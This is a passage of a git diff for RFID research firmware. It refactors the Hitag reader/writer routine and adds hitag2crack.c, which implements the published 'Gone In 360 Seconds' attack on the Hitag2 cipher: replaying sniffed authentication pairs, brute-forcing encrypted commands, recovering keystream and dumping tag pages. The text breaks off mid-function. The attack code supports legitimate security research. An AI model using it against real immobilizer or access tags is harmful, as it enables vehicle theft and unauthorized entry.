- | AT91C_TC_LDRA_FALLING; - - // Enable and reset counters - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - while (AT91C_BASE_TC0->TC_CV > 0) {}; - - // Reset the received frame, frame count and timing info - lastbit = 1; - bStop = false; + // init as reader + lf_init(true, false); // Tag specific configuration settings (sof, timings, etc.) if (htf < 10) { // hitagS settings - reset_sof = 1; - t_wait = 200; + t_wait_1 = 204; + t_wait_2 = 128; + /*tag_size = 256;*/ + flipped_bit = 0; + tag_size = 8; + DbpString("Configured for hitagS writer"); } else if (htf < 20) { // hitag1 settings - reset_sof = 1; - t_wait = 200; + t_wait_1 = 204; + t_wait_2 = 128; + tag_size = 256; + flipped_bit = 0; + DbpString("Configured for hitag1 writer"); } else if (htf < 30) { // hitag2 settings - reset_sof = 4; - t_wait = HITAG_T_WAIT_2; - } else { - Dbprintf("Error, unknown hitag reader type: %d", htf); - return; + t_wait_1 = HITAG_T_WAIT_1_MIN; + t_wait_2 = HITAG_T_WAIT_2_MIN; + tag_size = 48; + DbpString("Configured for hitag2 writer"); } - while (!bStop && !BUTTON_PRESS() && !data_available()) { + uint8_t tag_modulation; + size_t max_nrzs = (8 * HITAG_FRAME_LEN + 5) * 2; // up to 2 nrzs per bit + uint8_t nrz_samples[max_nrzs]; + size_t nrzs = 0; + + int16_t checked = 0; + while (!bStop && !BUTTON_PRESS()) { + + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; WDT_HIT(); - // Check if frame was captured and store it - if (rxlen > 0) { -// frame_count++; - LogTrace(rx, nbytes(rxlen), response, response, NULL, false); - } - // By default reset the transmission buffer tx = txbuf; switch (htf) { case WHT2F_CRYPTO: { bStop = !hitag2_crypto(rx, rxlen, tx, &txlen, true); + break; + } + case WHT2F_PASSWORD: { + bStop = !hitag2_password(rx, rxlen, tx, &txlen, true); + break; } - break; default: { Dbprintf("Error, unknown function: %d", htf); - return; + goto out; } - break; } - // Send and store the reader command - // Disable timer 1 with external trigger to avoid triggers during our own modulation - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, - // Since the clock counts since the last falling edge, a 'one' means that the - // falling edge occured halfway the period. with respect to this falling edge, - // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. - // All timer values are in terms of T0 units - while (AT91C_BASE_TC0->TC_CV < T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))) {}; + // Wait for t_wait_2 carrier periods after the last tag bit before transmitting, + lf_wait_periods(t_wait_2); + command_start += t_wait_2; // Transmit the reader frame - hitag_reader_send_frame(tx, txlen); + command_duration = hitag_reader_send_frame(tx, txlen); - // Enable and reset external trigger in timer for capturing future frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + response_start = command_start + command_duration; - // Add transmitted frame to total count + // Let the antenna and ADC values settle + // And find the position where edge sampling should start + lf_wait_periods(t_wait_1 - t_wait_1_guard); + response_start += t_wait_1 - t_wait_1_guard; + + // Keep administration of the first edge detection + bool waiting_for_first_edge = true; + + // Did we detected any modulaiton at all + bool detected_tag_modulation = false; + + // Use the current modulation state as starting point + tag_modulation = lf_get_tag_modulation(); + + // Reset the number of NRZ samples and use edge detection to detect them + nrzs = 0; + while (nrzs < max_nrzs) { + // Get the timing of the next edge in number of wave periods + periods = lf_count_edge_periods(128); + + // Are we dealing with the first incoming edge + if (waiting_for_first_edge) { + // Just break out of loop after an initial time-out (tag is probably not available) + if (periods == 0) break; + if (tag_modulation == 0) { + // hitag replies always start with 11111 == 1010101010, if we see 0 + // it means we missed the first period, e.g. if the signal never crossed 0 since reader signal + // so let's add it: + nrz_samples[nrzs++] = tag_modulation ^ 1; + // Register the number of periods that have passed + // we missed the begin of response but we know it happened one period of 16 earlier + response_start += periods - 16; + response_duration = response_start; + } else { + // Register the number of periods that have passed + response_start += periods; + response_duration = response_start; + } + // Indicate that we have dealt with the first edge + waiting_for_first_edge = false; + // The first edge is always a single NRZ bit, force periods on 16 + periods = 16; + // We have received more than 0 periods, so we have detected a tag response + detected_tag_modulation = true; + } else { + // The function lf_count_edge_periods() returns 0 when a time-out occurs + if (periods == 0) { + //Dbprintf("Detected timeout after [%d] nrz samples", nrzs); + break; + } + } + // Evaluate the number of periods before the next edge + if (periods > 24 && periods <= 64) { + // Detected two sequential equal bits and a modulation switch + // NRZ modulation: (11 => --|) or (11 __|) + nrz_samples[nrzs++] = tag_modulation; + nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; + // Invert tag modulation state + tag_modulation ^= 1; + } else if (periods > 0 && periods <= 24) { + // Detected one bit and a modulation switch + // NRZ modulation: (1 => -|) or (0 _|) + nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; + tag_modulation ^= 1; + } else { + // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods + //Dbprintf("Detected unexpected period count: %d", periods); + break; + } + } + + // Wait some extra time for flash to be programmed + // + + // Store the TX frame, we do this now at this point, to avoid delay in processing + // and to be able to overwrite the first samples with the trace (since they currently + // still use the same memory space) if (txlen > 0) { -// frame_count++; - LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2, HITAG_T_WAIT_2, NULL, true); + LogTrace(tx, nbytes(txlen), command_start, command_start + command_duration, NULL, true); } // Reset values for receiving frames memset(rx, 0x00, sizeof(rx)); rxlen = 0; - lastbit = 1; - bool bSkip = true; - int tag_sof = reset_sof; - response = 0; - uint32_t errorCount = 0; - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { - // Check if falling edge in tag modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); + // If there is no response, just repeat the loop + if (!detected_tag_modulation) continue; - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - - LED_B_ON(); - - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - if (rxlen != 0) { - //Dbprintf("DEBUG: Wierd1"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - - // need to test to verify we don't exceed memory... - // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { - // break; - // } - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - - // need to test to verify we don't exceed memory... - // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { - // break; - // } - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - - // need to test to verify we don't exceed memory... - // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { - // break; - // } - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - // Dbprintf("DEBUG: Wierd2"); - errorCount++; - // Ignore wierd value, is to small to mean anything - } - } - // if we saw over 100 wierd values break it probably isn't hitag... - if (errorCount > 100) break; - - // We can break this loop if we received the last bit from a frame - if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { - if (rxlen > 0) break; - } + // Make sure we always have an even number of samples. This fixes the problem + // of ending the manchester decoding with a zero. See the example below where + // the '|' character is end of modulation + // One at the end: ..._-|_____... + // Zero at the end: ...-_|_____... + // The last modulation change of a zero is not detected, but we should take + // the half period in account, otherwise the demodulator will fail. + if ((nrzs % 2) != 0) { + nrz_samples[nrzs++] = tag_modulation; } - // Wait some extra time for flash to be programmed - if ((rxlen == 0) && (writestate == WRITE_STATE_PROG)) { - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - while (AT91C_BASE_TC0->TC_CV < T0 * (HITAG_T_PROG - HITAG_T_WAIT_MAX)); + LED_B_ON(); + + // decode bitstream + manrawdecode((uint8_t *)nrz_samples, &nrzs, true, 0); + + // decode frame + + // Verify if the header consists of five consecutive ones + if (nrzs < 5) { + break; + } else { + size_t i; + for (i = 0; i < 5; i++) { + if (nrz_samples[i] != 1) { + Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one, abort", i); + break; + } + } + if (i < 5) break; + } + + // Pack the response into a byte array + for (size_t i = 5; i < nrzs; i++) { + uint8_t bit = nrz_samples[i]; + if (bit > 1) { // When Manchester detects impossible symbol it writes "7" + break; + } + rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); + rxlen++; + } + + if (rxlen % 8 == 1) // skip spurious bit + rxlen--; + + // Check if frame was captured and store it + if (rxlen > 0) { + LogTrace(rx, nbytes(rxlen), response_start, response_start + response_duration, NULL, false); + command_start = 0; } } - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; +out: + lf_finalize(); - StartTicks(); + // release allocated memory from BigBuff. + BigBuf_free(); - reply_old(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, 48); + reply_mix(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, tag_size); } diff --git a/armsrc/hitag2.h b/armsrc/hitag2.h index c62a2a221..ec3d0d7f3 100644 --- a/armsrc/hitag2.h +++ b/armsrc/hitag2.h @@ -11,12 +11,11 @@ #ifndef _HITAG2_H_ #define _HITAG2_H_ -#include -#include +#include "common.h" #include "hitag.h" -void SniffHitag(void); -void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data); +void SniffHitag2(void); +void SimulateHitag2(bool tag_mem_supplied, uint8_t *data); void ReaderHitag(hitag_function htf, hitag_data *htd); void WriterHitag(hitag_function htf, hitag_data *htd, int page); diff --git a/armsrc/hitag2_crypto.c b/armsrc/hitag2_crypto.c index 7d1e10d87..91c04ef43 100644 --- a/armsrc/hitag2_crypto.c +++ b/armsrc/hitag2_crypto.c @@ -11,6 +11,9 @@ //----------------------------------------------------------------------------- #include "hitag2_crypto.h" +#include "util.h" +#include "string.h" + /* Following is a modified version of cryptolib.com/ciphers/hitag2/ */ // Software optimized 48-bit Philips/NXP Mifare Hitag2 PCF7936/46/47/52 stream cipher algorithm by I.C. Wiener 2006-2007. // For educational purposes only. diff --git a/armsrc/hitag2_crypto.h b/armsrc/hitag2_crypto.h index d874955e0..8544c7e1c 100644 --- a/armsrc/hitag2_crypto.h +++ b/armsrc/hitag2_crypto.h @@ -1,12 +1,7 @@ #ifndef __HITAG2_CRYPTO_H #define __HITAG2_CRYPTO_H -#ifdef __cplusplus -extern "C" { -#endif - -#include "string.h" -#include "util.h" +#include "common.h" struct hitag2_tag { uint32_t uid; @@ -29,8 +24,5 @@ uint32_t _hitag2_byte(uint64_t *x); void hitag2_cipher_reset(struct hitag2_tag *tag, const uint8_t *iv); int hitag2_cipher_authenticate(uint64_t *cs, const uint8_t *authenticator_is); int hitag2_cipher_transcrypt(uint64_t *cs, uint8_t *data, uint16_t bytes, uint16_t bits) ; -#ifdef __cplusplus -} -#endif #endif diff --git a/armsrc/hitag2crack.c b/armsrc/hitag2crack.c new file mode 100644 index 000000000..34d35ada6 --- /dev/null +++ b/armsrc/hitag2crack.c @@ -0,0 +1,833 @@ +//----------------------------------------------------------------------------- +// Kevin Sheldrake , Aug 2018 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +// +// iceman, Jan, 2020 +// doegox, Jan, 2020 +//----------------------------------------------------------------------------- +// hitag2 attack functions +//----------------------------------------------------------------------------- + +#include "hitag2_crypto.h" +#include "hitag2crack.h" + +#define READP0CMD "1100000111" +#define ERROR_RESPONSE "F402889C" + +extern const uint8_t Hitag2Sync[5]; +extern bool CryptoActive; +extern Hitag_State Hitag_Crypto_State; + +// hitag2_crack implements the first crack algorithm described in the paper, +// Gone In 360 Seconds by Verdult, Garcia and Balasch. +// response is a multi-line text response containing the 8 pages of the +// cracked tag; +// nrarhex is a string containing hex representations of the 32 bit nR and aR +// values (separated by a space) snooped using SNIFF-PWM. +bool hitag2_crack(uint8_t *response, uint8_t *nrarhex) { + uint8_t uidhex[9]; + uint8_t uid[32]; + uint8_t nrar[64]; + uint8_t e_firstcmd[10]; + uint8_t e_page0cmd[10]; + uint8_t keybits[42]; + uint8_t pagehex[9]; + uint8_t temp[20]; + int i; + uint8_t *spaceptr = NULL; + + // get uid as hexstring + if (!hitag2_get_uid(uidhex)) { + UserMessage("Cannot get UID\r\n"); + return false; + } + + // convert uid hexstring to binarray + hextobinarray(uid, uidhex); + + // convert nR and aR hexstrings to binarray + spaceptr = strchr(nrarhex, ' '); + if (!spaceptr) { + UserMessage("Please supply a valid nR aR pair\r\n"); + return false; + } + *spaceptr = 0x00; + + if (hextobinarray(nrar, nrarhex) != 32) { + UserMessage("nR is not 32 bits long\r\n"); + return false; + } + + if (hextobinarray(nrar + 32, spaceptr + 1) != 32) { + UserMessage("aR is not 32 bits long\r\n"); + return false; + } + + // find a valid encrypted command + if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) { + UserMessage("Cannot find a valid encrypted command\r\n"); + return false; + } + + // find the 'read page 0' command and recover key stream + if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) { + UserMessage("Cannot find encrypted 'read page0' command\r\n"); + return false; + } + + // empty the response string + response[0] = 0x00; + + // read all pages using key stream + for (i = 0; i < 8; i++) { + if (hitag2crack_read_page(pagehex, i, nrar, keybits)) { + sprintf(temp, "%1d: %s\r\n", i, pagehex); + } else { + sprintf(temp, "%1d:\r\n", i); + } + // add page string to response + strcat(response, temp); + } + + return true; +} + +// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each +// with a different sequential encrypted command value in order to find one +// that returns a valid response. +// e_cmd is the returned binarray of the valid encrypted command; +// nrar is the binarray of the 64 bit nR aR pair. +bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]) { + uint8_t guess[10]; + uint8_t responsestr[9]; + +// UserMessage("Finding valid encrypted command:"); + // we're going to hold bits 5, 7, 8 and 9 and brute force the rest + // e.g. x x x x x 0 x 0 0 0 + for (uint8_t a = 0; a < 2; a++) { + for (uint8_t b = 0; b < 2; b++) { + for (uint8_t c = 0; c < 2; c++) { + for (uint8_t d = 0; d < 2; d++) { + for (uint8_t e = 0; e < 2; e++) { + for (uint8_t g = 0; g < 2; g++) { + // build binarray + guess[0] = a; + guess[1] = b; + guess[2] = c; + guess[3] = d; + guess[4] = e; + guess[5] = 0; + guess[6] = g; + guess[7] = 0; + guess[8] = 0; + guess[9] = 0; + + // send guess + if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) { + // check if it was valid + if (strcmp(responsestr, ERROR_RESPONSE) != 0) { + // return the guess as the encrypted command + memcpy(e_cmd, guess, 10); + return true; + } + } else { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); +#endif + } + UserMessage("."); + } + } + } + } + } + } +// UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n"); + return false; +} + +// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the +// valid encrypted command and tests the results by attempting an extended +// command version of the command to see if that produces a valid response. +// keybits is the returned binarray of the recovered key stream; +// e_page0cmd is the returned binarray of the encrypted 'read page 0' command; +// e_firstcmd is the binarray of the first valid encrypted command found; +// nrar is the binarray of the 64 bit nR aR pair; +// uid is the binarray of the 32 bit UID. +bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]) { + uint8_t a, b, c, d; + uint8_t guess[10]; + uint8_t responsestr[9]; + uint8_t e_uid[32]; + + UserMessage("Finding 'read page 0' command:"); + // we're going to brute the missing 4 bits of the valid encrypted command + for (a = 0; a < 2; a++) { + for (b = 0; b < 2; b++) { + for (c = 0; c < 2; c++) { + for (d = 0; d < 2; d++) { + // create our guess by bit flipping the pattern of bits + // representing the inverted bit and the 3 page bits + // in both the non-inverted and inverted parts of the + // encrypted command. + memcpy(guess, e_firstcmd, 10); + if (a) { + guess[5] = !guess[5]; + guess[0] = !guess[0]; + } + if (b) { + guess[7] = !guess[7]; + guess[2] = !guess[2]; + } + if (c) { + guess[8] = !guess[8]; + guess[3] = !guess[3]; + } + if (d) { + guess[9] = !guess[9]; + guess[4] = !guess[4]; + } + + // try the guess + if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) { + // check if it was valid + if (strcmp(responsestr, ERROR_RESPONSE) != 0) { + // convert response to binarray + hextobinarray(e_uid, responsestr); + // test if the guess was 'read page 0' command + if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) { + + return true; + } + } else { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n"); +#endif + } + } else { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); +#endif + } + UserMessage("."); + } + } + } + } + UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n"); + return false; +} + +// hitag2crack_test_e_p0cmd XORs the message (command + response) with the +// encrypted version to retrieve the key stream. It then uses this key stream +// to encrypt an extended version of the READP0CMD and tests if the response +// is valid. +// keybits is the returned binarray of the key stream; +// nrar is the 64 bit binarray of nR aR pair; +// e_cmd is the binarray of the encrypted command; +// uid is the binarray of the card UID; +// e_uid is the binarray of the encrypted version of the UID. +bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) { + uint8_t cipherbits[42]; + uint8_t plainbits[42]; + uint8_t ext_cmd[40]; + uint8_t e_ext_cmd[40]; + uint8_t responsestr[9]; + int i; + + // copy encrypted cmd to cipherbits + memcpy(cipherbits, e_cmd, 10); + + // copy encrypted uid to cipherbits + memcpy(cipherbits + 10, e_uid, 32); + + // copy cmd to plainbits + binstringtobinarray(plainbits, READP0CMD); + + // copy uid to plainbits + memcpy(plainbits + 10, uid, 32); + + // xor the plainbits with the cipherbits to get keybits + hitag2crack_xor(keybits, plainbits, cipherbits, 42); + + // create extended cmd -> 4 * READP0CMD = 40 bits + for (i = 0; i < 4; i++) { + binstringtobinarray(ext_cmd + (i * 10), READP0CMD); + } + + // xor extended cmd with keybits + hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40); + + // send extended encrypted cmd + if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40)) { + // test if it was valid + if (strcmp(responsestr, ERROR_RESPONSE) != 0) { + return true; + } + } else { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); +#endif + } + + return false; + +} + +// hitag2crack_xor XORs the source with the pad to produce the target. +// source, target and pad are binarrays of length len. +void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len) { + + for (int i = 0; i < len; i++) { + target[i] = source[i] ^ pad[i]; + } +} + +// hitag2crack_read_page uses the supplied key stream and nrar pair to read the +// given page, returning the response as a hexstring. +// responsestr is the returned hexstring; +// pagenum is the page number to read; +// nrar is the 64 bit binarray of the nR aR pair; +// keybits is the binarray of the key stream. +bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits) { + uint8_t cmd[10]; + uint8_t e_cmd[10]; + uint8_t e_responsestr[9]; + uint8_t e_response[32]; + uint8_t response[32]; + int i; + + if (pagenum > 7) { + UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n"); + return false; + } + + // create cmd + binstringtobinarray(cmd, READP0CMD); + if (pagenum & 0x1) { + cmd[9] = !cmd[9]; + cmd[4] = !cmd[4]; + } + if (pagenum & 0x2) { + cmd[8] = !cmd[8]; + cmd[3] = !cmd[3]; + } + if (pagenum & 0x4) { + cmd[7] = !cmd[7]; + cmd[2] = !cmd[2]; + } + + // encrypt command + hitag2crack_xor(e_cmd, cmd, keybits, 10); + + // send encrypted command + if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10)) { + // check if it is valid + if (strcmp(e_responsestr, ERROR_RESPONSE) != 0) { + // convert to binarray + hextobinarray(e_response, e_responsestr); + // decrypt response + hitag2crack_xor(response, e_response, keybits + 10, 32); + // convert to hexstring + binarraytohex(responsestr, response, 32); + return true; + } else { + UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n"); + } + } else { + UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n"); + } + + return false; +} + +// hitag2crack_send_e_cmd replays the auth and sends the given encrypted +// command. +// responsestr is the hexstring of the response to the command; +// nrar is the 64 bit binarray of the nR aR pair; +// cmd is the binarray of the encrypted command to send; +// len is the length of the encrypted command. +bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len) { +// uint8_t tmp[37]; + uint8_t uid[9]; + uint8_t e_page3str[9]; + int ret = 0; + + // get the UID + if (!hitag2_get_uid(uid)) { + UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n"); + return false; + } + + // START_AUTH kills active crypto session + CryptoActive = false; + + // get the UID again + if (!hitag2_get_uid(uid)) { + UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n"); + return false; + } + + // send nrar and receive (useless) encrypted page 3 value + if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) { + UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n"); + return false; + } + + // send encrypted command + if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, false)) { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n"); +#endif + return false; + } + + return true; +} + +// hitag2crack_tx_rx transmits a message and receives a response. +// responsestr is the hexstring of the response; +// msg is the binarray of the message to send; +// state is the RWD state; +// reset indicates whether to reset RWD state after. +bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset) { + uint8_t tmp[37]; + int ret = 0; + + // START_AUTH kills active crypto session + CryptoActive = false; + + if (!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX)) { + UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n"); + return false; + } + + // skip 1/2 bit to synchronise manchester + HW_Skip_Bits = 1; + ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY); + + // check if response was a valid length (5 sync bits + 32 bits response) + if (ret == 37) { + // check sync bits + if (memcmp(tmp, Hitag2Sync, 5) != 0) { + UserMessage("hitag2crack_tx_rx: no sync\r\n"); + return false; + } + + // convert response to hexstring + binarraytohex(responsestr, tmp + 5, 32); + return true; + } else { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_tx_rx: wrong rx len\r\n"); +#endif + return false; + } + return false; +} + + +bool hitag2crack_rng_init(uint8_t *response, uint8_t *input) { + uint64_t sharedkey; + uint32_t serialnum; + uint32_t initvector; + uint8_t *spaceptr; + uint8_t *dataptr; + + // extract vals from input + dataptr = input; + spaceptr = strchr(dataptr, ' '); + if (!spaceptr) { + UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n"); + return false; + } + + *spaceptr = 0x00; + + if (strlen(dataptr) != 12) { + UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n"); + return false; + } + + sharedkey = rev64(hexreversetoulonglong(dataptr)); + + dataptr = spaceptr + 1; + spaceptr = strchr(dataptr, ' '); + if (!spaceptr) { + UserMessage("/r/nno UID\r\n"); + return false; + } + + *spaceptr = 0x00; + if (strlen(dataptr) != 8) { + UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n"); + return false; + } + + serialnum = rev32(hexreversetoulong(dataptr)); + + dataptr = spaceptr + 1; + + if (strlen(dataptr) != 8) { + UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n"); + return false; + } + + initvector = rev32(hexreversetoulong(dataptr)); + + // start up crypto engine + hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector); + + strcpy(response, "Success\r\n"); + + return true; +} + +bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex) { + uint8_t bin[32]; + uint8_t binhex[9]; + uint8_t binstr[33]; + uint32_t binulong; + + if (strlen(hex) != 8) { + UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n"); + return false; + } + + binulong = hextoulong(hex); + + ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32); + binarraytobinstring(binstr, bin, 32); + binarraytohex(binhex, bin, 32); +// UserMessage("ar = %s\r\n", binstr); +// UserMessage("arhex = %s\r\n", binhex); + + strcpy(response, binhex); + return true; +} + +bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr) { + uint8_t bin[32]; + uint8_t e_bin[32]; + uint8_t binstr[33]; + uint32_t binulong; + int len; + + len = strlen(e_binstr); + if (len > 32) { + UserMessage("\r\nbinary string must be <= 32 bits\r\n"); + return false; + } + + binstringtobinarray(e_bin, e_binstr); + binulong = binarraytoulong(e_bin, len); + + ulongtobinarray(bin, hitag2_crypt(binulong, len), len); + binarraytobinstring(binstr, bin, len); + strcpy(response, binstr); + return true; +} + +bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex) { + // XOR pad so encrypt == decrypt :) + return hitag2crack_decrypt_hex(response, hex); +} + +bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr) { + return hitag2crack_decrypt_bin(response, e_binstr); +} + +// hitag2_keystream uses the first crack algorithm described in the paper, +// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits +// of keystream. +// response is a multi-line text response containing the hex of the keystream; +// nrarhex is a string containing hex representations of the 32 bit nR and aR +// values (separated by a space) snooped using SNIFF-PWM. +bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex) { + uint8_t uidhex[9]; + uint8_t uid[32]; + uint8_t nrar[64]; + uint8_t e_firstcmd[10]; +// uint8_t e_page0cmd[10]; +// uint8_t keybits[2080]; + uint8_t *keybits = DataBuff; + uint8_t keybitshex[67]; + int kslen; + int ksoffset; +// uint8_t pagehex[9]; +// uint8_t temp[20]; + int i; + uint8_t *spaceptr = NULL; + + /* + keybits = malloc(2080); + if (!keybits) { + UserMessage("cannot malloc keybits\r\n"); + return false; + } + */ + + // get uid as hexstring + if (!hitag2_get_uid(uidhex)) { + UserMessage("Cannot get UID\r\n"); + return false; + } + + // convert uid hexstring to binarray + hextobinarray(uid, uidhex); + + // convert nR and aR hexstrings to binarray + spaceptr = strchr(nrarhex, ' '); + if (!spaceptr) { + UserMessage("Please supply a valid nR aR pair\r\n"); + return false; + } + *spaceptr = 0x00; + + if (hextobinarray(nrar, nrarhex) != 32) { + UserMessage("nR is not 32 bits long\r\n"); + return false; + } + + if (hextobinarray(nrar + 32, spaceptr + 1) != 32) { + UserMessage("aR is not 32 bits long\r\n"); + return false; + } + + // find a valid encrypted command + if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) { + UserMessage("Cannot find a valid encrypted command\r\n"); + return false; + } + + // find the 'read page 0' command and recover key stream + if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) { + UserMessage("Cannot find encrypted 'read page0' command\r\n"); + return false; + } + + // using the 40 bits of keystream in keybits, sending commands with ever + // increasing lengths to acquire 2048 bits of key stream. + kslen = 40; + + while (kslen < 2048) { + ksoffset = 0; + if (!hitag2crack_send_auth(nrar)) { + UserMessage("hitag2crack_send_auth failed\r\n"); + return false; + } + // while we have at least 52 bits of keystream, consume it with + // extended read page 0 commands. 52 = 10 (min command len) + + // 32 (response) + 10 (min command len we'll send) + while ((kslen - ksoffset) >= 52) { + // consume the keystream, updating ksoffset as we go + if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar)) { + UserMessage("hitag2crack_consume_keystream failed\r\n"); + return false; + } + } + // send an extended command to retrieve more keystream, updating kslen + // as we go + if 